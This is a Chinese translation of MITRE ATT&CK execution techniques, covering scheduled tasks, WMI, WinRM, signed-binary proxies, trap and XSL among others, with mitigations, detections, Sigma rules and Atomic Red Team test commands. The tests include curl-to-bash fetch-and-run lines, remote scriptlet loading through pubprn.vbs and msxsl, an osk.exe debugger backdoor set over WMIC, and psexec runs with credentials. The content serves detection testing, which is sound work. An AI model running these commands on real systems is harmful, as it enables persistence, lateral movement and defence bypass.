诸如 at 和 schtasks 之类的程序以及 Windows 任务计划程序可用于在某日期和时间执行程序或脚本。 如果使用 RPC 的身份验证正确且并且文件和打印机共享已打开，则还可以在远程系统上安排任务。 在远程系统上调度任务通常需要是远程系统上

Administrators 组的成员。[1]

攻击者可以使用任务调度来在系统启动时或在计划任务的基础上执行程序以执行持久化，或作为横向移动的一部分执行远程执行，或获得 SYSTEM 权限，或者在指定帐户的上下文下运行进程。

缓解：
限制用户帐户的权限并修复权限提升攻击向量，以只有授权的管理员才能在远程系统上创建计划任务。像 PowerSploit 框架这样的工具包包含 PowerUp 模块，可用于探索可用于升级权限的计划任务中的系统的权限弱点。 [56]

配置计划任务的设置以强制任务在经过身份验证的帐户的上下文中运行，而不是允许它们作为 SYSTEM 运行。关联的注册表项位于 HKLM \ SYSTEM \ CurrentControlSet \ Control \ Lsa \ SubmitControl。可以通过 GPO 配置该设置：计算机配置> [策略]> Windows 设置>安全设置>本地策略>安全选项：域控制器：允许服务器操作员安排任务，设置为禁用。 [57]

将“增加调度优先级”选项配置为仅允许 Administrators 组调度优先级进程的权限。可以通过 GPO 配置：计算机配置> [策略]> Windows 设置>安全设置>本地策略>用户权限分配：增加调度优先级。 [58]

使用白名单[59]工具（如 AppLocker），[60] [61]或软件限制策略[62]识别并阻止可能用于计划任务的不必要的系统程序或潜在的恶意软件。 [63]

检测：
使用命令行调用监视来自公共程序的计划任务创建。合法的计划任务创建一般在安装新软件期间或通过系统管理功能创建。监视 Windows 10 中 svchost.exe 和旧版 Windows 的 Windows 任务计划程序 taskeng.exe 的进程执行情况。 [64]如果计划任务未用于持久性，则攻击者可能会在行动完成后删除任务。监视存储在％systemroot％\ System32 \ Tasks 中的 Windows 任务计划程序，以查找与已知任务无关的更改条目，这些计划任务与已知软件，修补程序周期等无关。数据和事件不应单独查看，而应作为链的一部分查看，一些行为应当与另一些其他活动关联，例如为命令和控制进行的网络连接，通过发现了解环境的详细信息可能会发现横向移动。

通过在事件记录服务中启用“Microsoft-Windows-TaskScheduler / Operational”设置，为计划任务创建和更改配置事件记录。 [65]然后将在计划任务活动中记录若干事件，包括：[66]

事件 ID 106 - 已注册的计划任务
事件 ID 140 - 计划任务已更新
事件 ID 141 - 已删除计划任务

诸如 Sysinternals Autoruns 之类的工具也可用于检测可能是尝试持久化的系统更改，包括列出当前的计划任务。 [67]寻找与已知软件，补丁周期等无关的任务变化。通过计

划任务执行的可疑程序可能会显示为与历史数据进行比较时之前未见过的异常过程。

监视可用于创建任务的操作的进程和命令行参数。具有内置功能的远程访问工具可以直接与 Windows API 交互，这些工具可以在典型的系统程序之外执行这些功能。也可以通过 Windows 系统管理工具（如 Windows Management Instrumentation 和 PowerShell）创建任务，因此可能需要配置相关日志记录以收集适当的数据。

Atomic Test #1 - At.exe Scheduled task

at 13:20 /interactive cmd

Atomic Test #2 - Scheduled task Local

SCHTASKS /Create /SC ONCE /TN spawn /TR C:\windows\system32\cmd.exe /ST 72600

Atomic Test #3 - Scheduled task Remote

`SCHTASKS /Create /S` localhost `/RU` DOMAIN\user `/RP password /TN "Atomic task" /TR` C:\windows\system32\cmd.exe" `/SC daily /ST` 72600

规则：

category: process_creation

product: windows

selection:

Image: '*\schtasks.exe'

CommandLine: '* /create *'

filter:

User: NT AUTHORITY\SYSTEM

condition: selection and not filter

ID：T1064
战术：防御逃避，执行
平台：Linux，macOS，Windows
所需权限：用户
数据源：进程监视，文件监视，进程命令行参数

绕过防御：处理白名单，数据执行预防，漏洞利用预防
版本：1.0

脚本

攻击者可以使用脚本来替换一些以前需要人工的操作。脚本编写对于加速操作任务和减少访问关键资源时间非常有用。一些脚本语言通过在 API 级别直接与操作系统交互而不是调用其他程序来绕过进程监视机制。 Windows 的常用脚本语言包括 VBScript 和 PowerShell，但也可以采用命令行批处理脚本的形式。

脚本可以作为宏嵌入 Office 文档中，Office 文档可以设置为在 Spearphishing Attachment 和其他类型的鱼叉式网络钓鱼中使用的文件并在打开时执行脚本。恶意嵌入式宏是一种另外的执行方式，跟通过软件漏洞来达到客户端执行的攻击方式是不一样的，攻击者需要宏有执行权限或者用户能主动激活它们。

有许多流行的使用脚本的攻击框架，他们受到安全测试人员和攻击者的喜欢。 [1] [1] (Metasploit), (Citation: Veil), [2] PowerSploit [3]是渗透测试人员在漏洞利用和后渗透操作中流行的三个例子，它包含许多用于绕过检测的功能。有一些 APT 组织在攻击中使用了 PowerShell。 [4]

缓解：

关闭未使用的功能，或限制对脚本引擎（如 VBScript）或脚本化管理框架（如 PowerShell）的访问。

配置 Office 安全设置启用受保护的视图，在沙箱环境中执行可疑宏，以及通过组策略阻止宏。 [63]其他类型的虚拟化和应用程序微分段也可以缓解被攻陷的影响，但是实施中可能存在额外漏洞和脆弱点的风险。 [64]

检测：

脚本可能在管理员，开发人员或高级用户系统上很常见，具体取决于工作职能。如果对普通用户限制脚本，则任何尝试在系统上启动运行脚本功能的行为都将被视为可疑。如果脚本在系统上不常用但已启用，那么脚本从打补丁或其他管理员功能中循环运行是可疑的。应尽可能从文件系统中捕获脚本以确定其行为和意图。

脚执行各种影响系统的操作，会生成许多事件，具体取决于所使用的监控类型。监控脚本执行和后续行为的进程和命令行参数。脚本行为可能与网络和系统信息发现，收集或其他可编写脚本的后渗透行为有关，并且可以用作溯源后源脚本的检测指标。

分析可能存在恶意的宏的 Office 文件附件。执行宏可能会创建可疑的进程树，具体取决于宏的设计目的。 Office 进程如 winword.exe，生成 cmd.exe 实例，脚本应用程序如 wscript.exe 或 powershell.exe 或其他可疑进程可能说明系统里存在恶意活动。 [65]

Atomic Test #1 - Create and Execute Bash Shell Script

Run it with `sh`!

```
sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh"
sh -c "echo 'ping -c 4 8.8.8.8' >> /tmp/art.sh"
chmod +x /tmp/art.sh
sh /tmp/art.sh
```

规则：

Image:

- '*\wscript.exe'

- '*\cscript.exe'

CommandLine:

- '*.jse'

- '*.vbe'

- '*.js'

- '*.vba'

condition: selection

ID：T1035
策略：执行
平台：Windows
所需权限：管理员，SYSTEM
数据源：Windows 注册表，进程监视，进程命令行参数
支持远程：是的
版本：1.0

服务执行 Service Execution

攻击者可以通过与 Windows 服务交互的方法（例如服务控制管理器）执行二进制文件，命令或脚本。 这可以通过创建新服务或修改现有服务来完成。 此技术是在服务持续存在或权限提升期间与新服务和修改现有服务一起使用的执行技术。

缓解：

确保不允许较低权限级别的用户创建较高级别权限的服务或与之交互。还要确保较低权限级别的用户无法替换或修改高权限级别服务的二进制文件。

识别可能用于与 Windows 服务交互的不必要的系统程序或潜在的恶意软件，并使用白名单[19]工具（如 AppLocker，[20] [21]或软件限制策略[22]）审核和/或阻止它们。[23]

检测：

服务项注册表项的更改和能够修改服务的工具的命令行调用，如果与已知软件，程序打补丁周期等无关话，那就比较可疑的。如果服务仅用于执行二进制文件或脚本而不是持久化，那么在服务重新启动后不久它很可能会更改回最初的形式，因此服务不会被破坏，就像普通管理员工具 PsExec 一样的情况。

Atomic Test #1 - Execute a Command as a Service

创建一个服务并让它执行指定命令。 执行 PowerShell 等命令时，即使代码正确执行，服务也会报告它无法正确启动。

ARTService

%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C: art-marker.txt

```
sc.exe create #{service_name} binPath= #{executable_command}
sc.exe start #{service_name}
sc.exe delete #{service_name}
```

规则：

logsource:

product: windows

service: system

detection:

service_installation:

EventID: 7045

ServiceName: 'PSEXESVC'

ServiceFileName: '*\PSEXESVC.exe'

service_execution:

EventID: 7036

ServiceName: 'PSEXESVC'

---

logsource:

category: process_creation

product: windows

detection:

sysmon_processcreation:

Image: '*\PSEXESVC.exe'

User: 'NT AUTHORITY\SYSTEM'

ID：T1218
战术：防御逃避，执行
平台：Windows
所需权限：用户
数据源：进程监视，进程命令行参数
支持远程：没有
防御绕过：应用程序白名单，数字证书验证
贡献者：Praetorian
版本：1.0

签名二进制代理执行 Signed Binary Proxy Execution

使用可信数字证书签名的二进制文件可以在受数字签名验证保护的 Windows 系统上执行。 Windows 默认安装的几个 Microsoft 签名二进制文件可用于代理执行其他文件。 攻击者可能会滥用此行为来恶意文件，可绕过系统上的应用程序白名单和签名验证。 该技术考虑了在现有技术中尚未考虑的代理执行方法。

Mavinject.exe
Mavinject.exe 是一个允许代码执行的 Windows 程序。 Mavinject 可用于将 DLL 输入到正在运行的进程中。 [1]

“C：\ Program Files \ Common Files \ microsoft shared \ ClickToRun \ MavInject32.exe”/ INJECTRUNNING C：\ Windows \ system32 \ mavinject.exe / INJECTRUNNING

SyncAppvPublishingServer.exe

SyncAppvPublishingServer.exe 可用于运行 powershell 脚本而无需执行 powershell.exe。 [2]

还存在可用于执行类似行为的若干其他二进制文件。 [3]

缓解：
在给定环境中可能不需要某些可用于执行其他程序的已签名二进制文件。 如果给定系统或网络不需要这些脚本，则使用应用程序白名单阻止这些脚本执行，以防止攻击者可能的滥用。

检测：

监视可用于代理恶意文件执行的已签名二进制文件的进程和命令行参数。 将相关活动与其他可疑行为相关联分析，以减少可能由于用户和管理员的正常非恶意使用而导致的误报。

Atomic Test #1 - mavinject - Inject DLL into running process

将任意 DLL 注入进程 ID 指定的运行进程。 需要 Windows 10。
```
mavinject.exe #{process_id} /INJECTRUNNING
```
C:\AtomicRedTeam\atomics\T1218\src\x64\T1218.dll

Atomic Test #2 - SyncAppvPublishingServer - Execute arbitrary PowerShell code

使用 SyncAppvPublishingServer.exe 执行任意 PowerShell 代码。 需要 Windows 10。
```
SyncAppvPublishingServer.exe "n; Start-Process calc.exe"
```

Atomic Test #3 - Register-CimProvider - Execute evil dll

```
C:\Windows\SysWow64\Register-CimProvider.exe -Path #{dll_payload}
```

C:\AtomicRedTeam\atomics\T1218\src\Win32\T1218-2.dll

ID：T1216
战术：防御逃避，执行
平台：Windows
所需权限：用户
数据源：进程监视，进程命令行参数
支持远程：没有
防御绕过：应用程序白名单，数字证书验证
贡献者：Praetorian
版本：1.0

签名脚本代理执行 Signed Script Proxy Execution

使用受信任证书签名的脚本可用于代理执行恶意文件。 此方法可能会绕过签名验证限制和不考虑使用这些脚本的应用程序白名单解决方案。

PubPrn.vbs 由 Microsoft 签名，可用于代理远程站点的执行。 [1]示例命令：cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png
还有其他一些签名脚本可以以类似的方式使用。[2]

缓解：

在给定环境中，可能不需要某些可用于执行其他程序的已签名脚本。如果给定系统或网络不需要这些脚本，则配置应用程序白名单来阻止执行这些脚本的，以防止攻击者滥用他们。

检测：

监视脚本进程（如 CSCRIPT）和 PubPrn.vbs 等脚本的命令行参数，这些脚本可用于代理恶意文件的执行。

Atomic Test #1 - PubPrn.vbs Signed Script Bypass

执行带签名的 PubPrn.vbs 脚本，其中包含下载和执行任意载荷的选项。

remote_payload =https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct

```
cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
```

ID：T1153
策略：执行
平台：Linux，macOS
所需权限：用户
数据源：进程监视，文件监视，进程命令行参数
支持远程：没有
版本：1.0

Source　命令

source 命令将函数加载到当前 shell 中或执行当前上下文中的文件。 这个内置命令可以用两种不同的方式运行 source / path / to / filename [arguments]或。 / path / to / filename [arguments]。 记下“。”后面的空格。 如果没有空格，则会创建一个运行程序的新 shell，而不是在当前上下文中运行程序。 这通常用于使某些特性或功能可用于 shell 或更新特定的 shell 环境。

攻击者可以滥用此功能来执行程序。 使用此技术执行的文件不需要事先标记为可执行文件。

缓解：
由于 source 命令可以合法使用，因此很难有好的缓解方法。

检测：

监视由 source 命令执行而产生的后续进程和命令行 shell 执行。攻击者必须将文件放到磁盘才能用 source 执行它，这些文件可以通过文件监视来检测到。

Atomic Test #1 - Execute Script using Source

创建脚本并使用 source 命令执行它
Supported Platforms: macOS, Linux
Run it with sh!
```
sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh"
chmod +x /tmp/art.sh
source /tmp/art.sh
```

Atomic Test #2 - Execute Script using Source Alias
创建一个脚本并使用 source 命令的 dot 别名执行它
Supported Platforms: macOS, Linux
Run it with sh!
```
sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh"
chmod +x /tmp/art.sh
. /tmp/art.sh
```

ID：T1151
战术：防御逃避，执行
平台：Linux，macOS
所需权限：用户
数据源：文件监控，流程监控
撰稿人：Palo Alto Networks 的 Erye Hernandez
版本：1.0

Space after Filename　文件名后面的空格

攻击者可以通过更改文件的扩展名来隐藏程序的真实文件类型。 对于某些文件类型（这不适用于.app 扩展名的文件），在文件名末尾附加一个空格将改变操作系统处理文件的方式。 例如，如果有一个名为 evil.bin 的 Mach-O 可执行文件，当用户双击它时，它将启动 Terminal.app 并执行。 如果此文件重命名为 evil.txt，则当用户双击时，它将使用默认文本编辑应用程序启动（不执行二进制文件）。 但是，如果文件被重命名为“evil.txt”（注意末尾的空格），那么当用户双击时，真实的文件类型由 OS 确定并进行适当处理，二进制文件将被执行[1]。

攻击者可以使用此功能诱骗用户双击任何格式的看起像非恶意的文件并最终执行恶意攻击。

缓解：

防止文件在扩展名后有空格。

检测：

文件名的末尾有空格并不常见，因此可以使用文件检查可以检测到。 但是从用户的角度来看，很难从 Finder.app 或 Terminal.app 的命令行中注意到这一点。 从文件名包含非标准扩展名的二进制文件执行的进程很可疑。

ID：T1072
战术：执行，横向移动
平台：Linux，macOS，Windows
所需权限：用户，管理员，SYSTEM
数据源：文件监控，第三方应用程序日志，Windows 注册表，进程监控，网络进程使用，二进制文件元数据
支持远程：是的
版本：1.0

第三方软件

第三方应用程序和软件部署系统可以在网络环境中用于管理目的（例如，SCCM，VNC，HBSS，Altiris 等）。如果攻击者获得对这些系统的访问权限，那么他们就可以执行代码。

攻击者可能可以访问和使用安装在企业网络中的第三方应用程序部署系统。访问网络范围或企业范围的软件部署系统使攻击者能够在连接到此类系统的所有系统上执行远程代码。这样的访问可用于横向移动到其他系统，收集信息或产生特定效果，例如擦除所有端点上的硬盘驱动器。

此操作所需的权限因系统配置而异;直接访问部署服务器可能需要本地凭据，或者可能需要特定的域凭据。但是，系统可能需要管理帐户才能登录或执行软件部署。

缓解：
评估可用于部署或执行程序的第三方软件的安全性。确保对部署系统的管理系统的访问受到限制，监控，并且是安全。对部署系统的使用应该有严格的批准策略。

仅向有限数量的授权管理员授予对应用程序部署系统的访问权限。通过使用防火墙，帐户权限分离，组策略和多因素身份验证，确保关键网络系统的系统和访问隔离。验证可用于访问部署系统的帐户凭据是唯一的，并且不会在整个企业网络中使用。定期修补部署系统，以防止通过利用漏洞进行远程访问。

如果可以将应用程序部署系统配置为仅部署已签名的二进制文件，则需要确保受信任的签名证书不与应用程序部署系统位于同一位置，而是位于无法远程访问或远程访问收到严格控制的系统上。

检测：

检测方法将根据第三方软件或系统的类型以及它们如何使用而有所不同。

检测的方法与其他的一些恶意活动一样，这些恶意活动的共同点事其中恶意行为最开始的分发向量是未知的但是最后的结果可以辨别。分析流程执行树，第三方应用程序的历史活动（例如通常推送的文件类型），以及从文件/二进制/脚本推送到系统的结果活动或事件。

通常，这些第三方应用程序将拥有自己的日志，这些日志可以收集并与来自环境的其他数据相关联。审核软件部署日志并查找可疑或未经授权的活动。通常不用于将软件推送到客户的系统突然将软件推送给了客户，同时不是管理员操作的，那么这样的活动就是很可疑的。

定期执行应用程序部署，这样可疑的非定期部署活动就能很容易被发现。监控与已知良好软件无关的流程活动。监视部署系统上的帐户登录活动。

ID：T1154
策略：执行，持久
平台：Linux，macOS
所需权限：用户，管理员
数据源：文件监视，进程监视，进程命令行参数
支持远程：没有
版本：1.0

Trap 命令

trap 命令允许程序和 shell 指定在接收中断信号时将执行的命令。 常见的情况是允许正常终止和处理常见键盘中断的脚本，如 ctrl + c 和 ctrl + d。 攻击者可以使用它来注册代码，这些代码会在 shell 遇到特定中断时来要执行的代码，这些代码可以是为了获取执行机会或为了持久化。 陷阱命令具有以下格式陷阱'命令列表'信号，其中当接收到“信号”时将执行“命令列表”。

缓解：
由于陷阱命令的可以被合法使用，因此没有特别好的缓解方案。

检测：
陷阱命令必须是给 shell 或程序的，因此它们会出现在文件中。 监视文件是否存在可疑或过于宽泛的陷阱命令可以缩小的调查范围。 监视通过陷阱中断执行的可疑进程。

Atomic Test #1 - Trap

退出 shell 后，脚本将下载并执行。

发送键盘中断（CTRL + C）后，脚本将下载并执行。

支持的平台：macOS，CentOS，Ubuntu，Linux

```
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' EXIT
exit
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT
```

ID：T1127
战术：防御逃避，执行
平台：Windows
所需权限：用户
数据来源：流程监控
支持远程：没有
Blesassed 防御：应用程序白名单
贡献者：凯西史密斯; Matthew Demaske，Adaptforward
版本：1.0

Trusted Developer Utilities 可信的开发者工具

有许多用于软件开发相关任务的程序可用于以各种形式执行代码以协助开发，调试和逆向工程。这些程序通常是使用合法证书进行签名的，这些证书使它们可以在系统上执行，并通过可靠的流程代理执行恶意代码，从而有效地绕过应用程序白名单防御解决方案。

MSBuild
MSBuild.exe（Microsoft Build Engine）是 Visual Studio 使用的软件构建平台。它采用 XML 格式的项目文件，定义构建各种平台和配置的要求。 [1]

攻击者可以使用 MSBuild 通过受信任的 Windows 程序代理代码的执行。 .NET 版本 4 中引入的 MSBuild 的内联任务功能允许将 C＃代码插入到 XML 项目文件中。 [1]内联任务 MSBuild 将编译并执行内联任务。 MSBuild.exe 是一个签名的 Microsoft 二进制文件，因此当它以这种方式使用时，它可以执行任意代码并绕过配置为允许 MSBuild.exe 执行的应用程序白名单防御。 [2]

DNX
NET 执行环境（DNX），dnx.exe，是随 Visual Studio Enterprise 打包的软件开发工具包。它在 2016 年退役，转而支持.NET Core CLI。[3] DNX 不存在于 Windows 的标准版本中，并且可能只存在于使用旧版.NET Core 和 ASP.NET Core 1.0 的开发人员工作站上。 dnx.exe 可执行文件由 Microsoft 签名。攻击者可以使用 dnx.exe 代理任意代码的执行，以绕过不考虑 DNX 的应用程序白名单策略。 [4]

RCSI
rcsi.exe 实用程序是 C＃的非交互式命令行界面，类似于 csi.exe。它是在 Roslyn .NET 编译器平台的早期版本中提供的，但后来因集成解决方案而被弃用。 [5] rcsi.exe 二进

制文件由 Microsoft 签名。 [6]可以使用命令行中的 rcsi.exe 编写和执行 C＃.csx 脚本文件。攻击者可以使用 rcsi.exe 代理任意代码的执行，以绕过不考虑执行 rcsi.exe 的应用程序白名单策略。 [6]

WinDbg 中/ CDB
WinDbg 是 Microsoft Windows 内核和用户模式调试程序。 Microsoft 控制台调试程序（CDB）cdb.exe 也是用户模式调试程序。这两个程序都包含在 Windows 软件开发工具包中，可以作为独立工具使用。 [7]它们通常用于软件开发和逆向工程，在普通的 Windows 系统上可能找不到。 WinDbg.exe 和 cdb.exe 二进制文件都由 Microsoft 签名。攻击者可以使用 WinDbg.exe 和 cdb.exe 代理任意代码的执行，以绕过不考虑这些实用程序的应用程序白名单策略。 [8]
可能出于类似目的使用其他调试器，例如内核模式调试器 kd.exe，它也由 Microsoft 签名。

跟踪器
文件跟踪器程序 tracker.exe 作为 MSBuild 的一部分包含在.NET 框架中。它用于记录对 Windows 文件系统的调用。 [9]
攻击者可以使用 tracker.exe 将任意 DLL 的执行代理到另一个进程中。由于 tracker.exe 也已签名，因此可用于绕过应用程序白名单解决方案

缓解：
在给定环境中可能不需要 MSBuild.exe，dnx.exe，rcsi.exe，WinDbg.exe，cdb.exe 和 tracker.exe，如果不使用，则应将其删除。

配置应用程序白名单来阻止 MSBuild.exe，dnx.exe，rcsi.exe，WinDbg.exe 和 cdb.exe 的执行（如果给定系统或网络不需要它们，那么可以防止攻击者滥用）。 [12] [13] [14] [15]

检测：
这些可以用来做代理执行的程序通常用于开发，调试和逆向工程，如果系统上存在这些工具且未用于这些目的，那么就比较可疑。

使用进程监视来监视 MSBuild.exe，dnx.exe，rcsi.exe，WinDbg.exe，cdb.exe 和 tracker.exe 的执行和参数。将这些二进制文件的最近调用与已知良好参数的先前历史和已执行的二进制文件进行比较，以确定异常和潜在的攻击性活动。软件开发人员可能会使用这些程序，因此如果系统上存在这些文件且不是被已知的开发人员使用，那么这些文件可能是可疑的。在调用程序之前和之后使用的命令参数也能说明正在执行的二进制文件的来源和目的。

Atomic Test #1 - MSBuild Bypass Using Inline Tasks

执行项目文件中的 C＃代码

支持的平台：Windows
T1127.csproj

C：\ Windows \ Microsoft.NET \ Framework \ v4.0.30319 \ msbuild.exe＃{filename}

规则：
https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb
category: process_creation

product: windows

Image: '*\Microsoft.Workflow.Compiler.exe'

condition: selection

ID：T1204
策略：执行
平台：Linux，Windows，macOS
所需权限：用户
数据源：防病毒，进程命令行参数，进程监视
版本：1.0

用户执行 User Execution

攻击者可以依赖用户的特定动作来获得执行。 这可能是直接代码执行，例如当用户打开通过 Spearphishing Attachment 传递的恶意可执行文件时，恶意文件有图标和明显的扩展文档名。 还有其他执行技术，例如当用户点击通过 Spearphishing Link 传递的链接时，会通过 Exploitation for Client Execution 利用浏览器或应用程序漏洞。 虽然用户执行经常在初始访问后不久发生，但它也可能发生在入侵的其他阶段，例如当攻击者将文件放在共享目录或用户桌面上时希望用户点击它。

缓解：

通过用户培训来提高对常见网络钓鱼和鱼叉式网络钓鱼技术的认识，以及提高对可疑恶意事件的认识。应用程序白名单也能够阻止伪装成其他文件的可执行文件的运行。

如果用户正在访问链接，则默认情况下阻止传输未知或未使用的文件（不应下载）或来自可疑网站的策略作为阻止某些攻击向量的最佳做法，例如.scr，.exe，.pif，某些下载扫描设备可以打开和分析压缩和加密格式，例如 zip 和 rar，这些格式的文件可用于隐藏混淆文件或信息中的恶意文件。

如果用户正在访问链接，可以扫描和删除恶意下载的网络入侵防御系统来阻止活动。解决方案可以基于签名和行为，但攻击者可以用绕过这些系统的方式构建文件。

检测：

攻击者需要通过需要用户交互的应用程序来的初始访问，监视攻击者可能使用的应用程序的执行和命令行参数。包括压缩应用程序，例如 zip 文件的压缩应用程序，可用于反混淆/解码文件或有效负载中的信息。

防病毒软件可能会检测到在用户计算机上下载并执行的恶意文档和文件。一旦文件被打开来利用客户端漏洞利用和脚本执行等（例如 Microsoft Word 文档或 PDF 访问互联网或产生 Powershell.exe），那端点感应或网络感应设备可能会检测到恶意事件。

ID：T1047
策略：执行
平台：Windows
所需权限：用户，管理员
数据源：身份验证日志，Netflow / Enclave netflow，进程监控，进程命令行参数
支持远程：是的
版本：1.0

Windows Management Instrumentation

Windows Management Instrumentation（WMI）是一种 Windows 管理功能，可为 Windows 系统组件的本地和远程访问提供统一的环境。 它依赖于本地和远程访问的 WMI 服务以及服务器消息块（SMB）[1]和远程过程调用服务（RPCS）[2]。 RPCS 通过 135 端口运行。[3]

攻击者可以使用 WMI 与本地和远程系统进行交互，并将其用作执行许多策略功能的手段，例如收集信息和远程执行文件等横向移动手段。[4]

缓解：

禁用 WMI 或 RPCS 可能会导致系统不稳定，因此加入需要禁止的先得评估下对系统的影响。 默认情况下，只允许管理员使用 WMI 远程连接。 限制普通用户远程或禁止所有用户远程连接到 WMI。 防止管理员和特权帐户系统之间的凭据重叠。[4]

检测：

监控 WMI 连接的网络流量; 在通常不使用 WMI 的环境中使用 WMI 可能是可疑的。打开进程监视以捕获“wmic”的命令行参数并检测用于执行远程行为的命令。[4]

Atomic Test＃1 - WMI 侦察用户

WMI 枚举用户帐户

支持的平台：Windows

wmic useraccount get / ALL

Atomic Test＃2 - WMI 侦察进程

WMI 枚举进程信息

支持的平台：Windows

wmic process get caption,executablepath,commandline

Atomic Test＃3 - WMI 侦察软件

WMI 枚举软件

wmic qfe get description，installedOn / format：csv

Atomic Test＃4 - WMI 侦察枚举远程服务

名称说明类型默认值
node 192.168.0.1
service_search_string　sql server

wmic / node：“＃{node}”service where（标题为“％＃{service_search_string}（％”）

ID：T1028
战术：执行，横向移动
平台：Windows
所需权限：用户，管理员
数据源：文件监控，身份验证日志，Netflow / Enclave netflow，进程监控，进程命令行参数
支持远程：是的
版本：1.0

Windows 远程管理

Windows 远程管理（WinRM）是 Windows 服务和允许用户与远程系统交互的协议的名称（例如，运行可执行文件，修改注册表，修改服务）。 [1]可以使用 winrm 命令或

任何数量的？？程序（如 PowerShell）调用它。[2] It may be called with the winrm command or by any number of programs such as PowerShell

缓解：

禁用 WinRM 服务。 如果需要该服务，请使用单独的 WinRM 基础结构，帐户和权限锁定关键区域。 遵循 WinRM 关于配置身份验证方法的最佳做法以及使用主机防火墙来限制 WinRM 访问，以允许仅与特定设备进行通信。[5]

检测：

通过监控服务执行来监控环境中 WinRM 的使用。 如果它很少使用或被禁用，那么它的执行就已经是比较可疑了。 监视 WinRM 进程或 WinRM 调用脚本创建的进程和操作，并将它们与其他相关事件进行关联分析。

Atomic Test＃1 - 启用 Windows 远程管理

Powershell 启用 WinRM

Enable-PSRemoting -Force

Atomic Test＃2 - PowerShell 横向移动

使用 mmc20 应用程序 com 对象的 Powershell 横向移动

参考：

https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/

computer_name　computer

powershell.exe [activator] :: CreateInstance（[type] :: GetTypeFromProgID（“MMC20.application”，“＃{computer_name}”））。Documnet.ActiveView.ExecuteShellCommand（“c：\ windows \ system32 \ calc.exe”，$ null，$ null，“7”）

Atomic Test＃3 - WMIC 进程调用创建

利用 WMIC 启动远程进程

```
user_name     DOMAIN \ Administrator
password     P @ ssw0rd1
computer_name   Target
wmic /user:#{user_name} /password:#{password} /node:#{computer_name}
process call create "C:\Windows\system32\reg.exe add
```

```
\"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"
```

Atomic Test＃＃4 - Psexec

利用 psexec 启动远程进程

psexec \\ host -u domain \ user -p password -s cmd.exe

Atomic Test＃5 - Invoke-Command

在远程主机上执行 Invoke-command

invoke-command -computer_name test -scriptblock {ipconfig }

ID：T1220
战术：防御逃避，执行
平台：Windows
所需权限：用户
数据源：流程监控，流程命令行参数，网络流程使用，DLL 监控
支持远程：没有
绕过防御：反病毒，应用程序白名单，数字证书验证
贡献者：凯西史密斯;禁卫军
版本：1.0

XSL 脚本处理 XSL Script Processing

可扩展样式表语言（XSL）文件通常用于描述 XML 文件中数据的处理和呈现。为了支持复杂的操作，XSL 标准包括对各种语言的嵌入式脚本的支持。 [1]

攻击者可能会滥用此功能来执行任意文件，同时可能绕过应用程序白名单防御。与 Trusted Developer Utilities 类似，Microsoft 公共线转换实用程序二进制文件（msxsl.exe）[2]可以安装并执行嵌入在本地或远程（URL 引用的）XSL 文件中的恶意 JavaScript。 [3]由于默认情况下未安装 msxsl.exe，释放的其他文件打包在一起。 [4]

命令行示例：[3]

```
msxsl.exe customers[.]xml script[.]xsl
```

这种技术的另一种变体，称为“Squiblytwo”，涉及使用 Windows Management Instrumentation 在 XSL 文件中调用 JScript 或 VBScript。 [5]这种技术也可以执行本地/远程脚本，类似于其 Regsvr32 /“Squiblydoo”对应物，利用可靠的内置 Windows 工具。

命令行示例：[5]

- Local File: `wmic process list /FORMAT:evil[.]xsl`
- Remote File: `wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"`

缓解：

Windows Management Instrumentation 和/或 msxsl.exe 可能在给定环境中不使用。禁用 WMI 可能会导致系统不稳定，应进行评估以确认对网络的影响。如果不需要 msxsl.exe，则阻止其执行以防止攻击者滥用。

检测：

使用进程监视来监视 msxsl.exe 和 wmic.exe 的执行和参数。将这些程序的最近调用与已知良好参数和已加载文件的先前历史进行比较，以确定异常和可能的攻击活动（例如：URL 命令行参数，外部网络连接的创建，与脚本相关联的 DLL 的加载）。 [5] [7] 在脚本调用之前和之后使用的命令参数也可用于确定正在加载的有效负载的来源和目的。

msxsl.exe 或其他启用代理执行的程序的存在本身就是可疑的这些实用程序通常用于未用于这些目的的系统上的开发，调试和逆向工程。

Atomic Test＃1 - 使用本地文件绕过 MSXSL

使用本地有效内容在 XSL 转换期间执行 XSL 脚本标记中指定的代码。 需要从 Microsoft 下载 MSXSL，网址为 https://www.microsoft.com/en-us/download/details.aspx?id=21714。

xmlfile c：\ AtomicRedTeam \ atomics \ T1220 \ src \ msxslxmlfile.xml
xslfile C：\ AtomicRedTeam \ atomics \ T1220 \ src \ msxslscript.xsl
C：\ Windows \ Temp \ msxsl.exe＃{xmlfile}＃{xslfile}

Atomic Test＃2 - 使用远程文件绕过 MSXSL

使用远程有效内容在 XSL 转换期间执行 XSL 脚本标记中指定的代码。 需要从 Microsoft 下载 MSXSL，网址为 https://www.microsoft.com/en-us/download/details.aspx?id=21714。

支持的平台：Windows
输入
名称说明类型默认值
xmlfile https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml
xslfile https://raw.githubusercontent.com/redcanaryco/atomic-red-

team/master/atomics/T1220/src/msxslscript.xsl

C：\ Windows \ Temp \ msxsl.exe＃{xmlfile}＃{xslfile}

Atomic Test＃3 - 使用本地 XSL 文件绕过 WMIC

使用本地有效内容执行 XSL 脚本中指定的代码。

wmic_command process list
local_xsl_file. C：\ AtomicRedTeam \ atomics \ T1220 \ src \ wmicscript.xsl

